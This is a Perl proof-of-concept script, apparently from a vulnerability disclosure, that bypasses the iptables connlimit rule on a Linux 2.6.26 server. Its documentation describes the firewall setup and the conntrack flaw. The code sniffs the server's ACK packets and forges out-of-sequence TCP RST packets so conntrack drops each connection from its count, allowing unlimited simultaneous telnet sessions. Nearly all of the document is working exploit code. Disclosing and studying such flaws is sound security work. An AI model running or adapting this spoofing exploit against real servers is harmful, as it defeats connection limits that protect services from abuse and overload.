#!/usr/bin/perl

use strict;
use warnings;

use Net::RawIP;

=pod

On a Linux 2.6.26 server, run this to limit clients to 1 simultaneous
connection to the telnet daemon:

# iptables -I INPUT -p tcp --syn --dport 23 \
-m connlimit --connlimit-above 1 \
-j REJECT --reject-with tcp-reset

Note that you cannot make two simultaneous telnet connections from a client
to the server.

Then run this program on the client. It will send out-of-sequence RST
packets (with a sequence number 1 less than they should be) in response
to each ACK from the server. The out-of-sequence packets are ignored by
the server's TCP stack, but not by conntrack -- conntrack immediately moves
the connection to state CLOSE, meaning it doesn't count towards connlimit
limits any more.

You can then open up as many simultaneous telnet connections as you wish
from the client, bypassing connlimit completely.

=cut

my $a = new Net::RawIP;
my $pcap = $a->pcapinit(
	"eth0",
	"src port 23 and tcp[tcpflags] & tcp-ack != 0",
	1500,
	30
	);
loop $pcap,-1,\&DumpIt,\$a;

sub DumpIt
{
	$a->bset(substr( $_[2],14));
	my ($source_ip, $dest_ip, $source_port, $dest_port, $ack) = $a->get(
		{
			ip => ['saddr', 'daddr'],
			tcp => ['source', 'dest', 'ack_seq'],
		});
	
	printf "Sending bogus RST from %s:%u to %s:%u with seq %u\n",
		ip2dot($dest_ip),
		$dest_port,
		ip2dot($source_ip),
		$source_port,
		$ack;
	
	my $n = Net::RawIP->new({
		ip  => {
			saddr => $dest_ip,
			daddr => $source_ip,
			},
		tcp => {
			source => $dest_port,
			dest   => $source_port,
			seq    => $ack - 1,
			rst    => 1,
			},
		});
	$n->send;
}

sub ip2dot
{
	sprintf("%u.%u.%u.%u", unpack "C4", pack "N1", shift);
}
